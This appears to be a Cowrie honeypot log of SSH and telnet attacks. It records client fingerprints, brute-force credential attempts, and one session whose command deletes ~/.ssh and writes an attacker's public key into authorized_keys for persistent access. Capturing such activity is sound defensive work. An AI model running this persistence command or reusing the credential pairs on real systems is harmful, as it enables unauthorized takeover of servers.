{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:16.535109Z","src_ip":"2.57.122.208","session":"dbc463c80520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:16.905665Z","src_ip":"2.57.122.208","session":"dbc463c80520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:18.189895Z","src_ip":"2.57.122.208","session":"dbc463c80520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.247.153.211","src_port":56184,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf018439d322","protocol":"ssh","message":"New connection: 223.247.153.211:56184 (10.17.0.5:22) [session: cf018439d322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:51.424580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:51.434092Z","src_ip":"223.247.153.211","session":"cf018439d322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:51.656625Z","src_ip":"223.247.153.211","session":"cf018439d322","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Jm123456","message":"login attempt [root/Jm123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:52.558752Z","src_ip":"223.247.153.211","session":"cf018439d322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.206.241.199","src_port":52274,"dst_ip":"159.203.135.109","dst_port":22,"session":"90d9cb54abeb","protocol":"ssh","message":"New connection: 109.206.241.199:52274 (159.203.135.109:22) [session: 90d9cb54abeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:57.076582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:57.080830Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:57.189194Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"diego","message":"login attempt [root/diego] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:57.658370Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:57.920016Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:57.923705Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:57.927444Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:58.039194Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:58.294878Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:58.298441Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:58.412704Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:58.416491Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.206.241.199","src_port":52276,"dst_ip":"159.203.135.109","dst_port":22,"session":"19021f05eceb","protocol":"ssh","message":"New connection: 109.206.241.199:52276 (159.203.135.109:22) [session: 19021f05eceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:58.509772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:58.514627Z","src_ip":"109.206.241.199","session":"19021f05eceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:58.619476Z","src_ip":"109.206.241.199","session":"19021f05eceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:59.068234Z","src_ip":"109.206.241.199","session":"19021f05eceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:00.176053Z","src_ip":"109.206.241.199","session":"19021f05eceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.206.241.199","src_port":48294,"dst_ip":"159.203.135.109","dst_port":22,"session":"6646e9636e1d","protocol":"ssh","message":"New connection: 109.206.241.199:48294 (159.203.135.109:22) [session: 6646e9636e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:00.298491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:00.303529Z","src_ip":"109.206.241.199","session":"6646e9636e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:00.440526Z","src_ip":"109.206.241.199","session":"6646e9636e1d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:01.051377Z","src_ip":"109.206.241.199","session":"6646e9636e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:01.163672Z","src_ip":"109.206.241.199","session":"90d9cb54abeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:01.179538Z","src_ip":"109.206.241.199","session":"6646e9636e1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.247.153.211","src_port":59152,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1494fbeab90","protocol":"ssh","message":"New connection: 223.247.153.211:59152 (10.17.0.5:22) [session: c1494fbeab90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:09.032766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:09.037250Z","src_ip":"223.247.153.211","session":"c1494fbeab90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:09.268700Z","src_ip":"223.247.153.211","session":"c1494fbeab90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:24:10.200466Z","src_ip":"223.247.153.211","session":"c1494fbeab90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38748,"dst_ip":"10.17.0.5","dst_port":22,"session":"200b01bc3796","protocol":"ssh","message":"New connection: 2.57.122.208:38748 (10.17.0.5:22) [session: 200b01bc3796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:25:22.815793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:25:22.863517Z","src_ip":"2.57.122.208","session":"200b01bc3796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:25:22.954209Z","src_ip":"2.57.122.208","session":"200b01bc3796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:25:23.568705Z","src_ip":"2.57.122.208","session":"200b01bc3796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:25:24.672812Z","src_ip":"2.57.122.208","session":"200b01bc3796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:26:09.046190Z","src_ip":"223.247.153.211","session":"c1494fbeab90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":49051,"dst_ip":"10.17.0.5","dst_port":23,"session":"14c0ec8c855d","protocol":"telnet","message":"New connection: 49.88.156.34:49051 (10.17.0.5:23) [session: 14c0ec8c855d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:27:01.525128Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46340,"dst_ip":"10.17.0.5","dst_port":22,"session":"baa3e65c1b05","protocol":"ssh","message":"New connection: 2.57.122.208:46340 (10.17.0.5:22) [session: baa3e65c1b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:27:31.835366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:27:31.841333Z","src_ip":"2.57.122.208","session":"baa3e65c1b05","protocol":"ssh"}
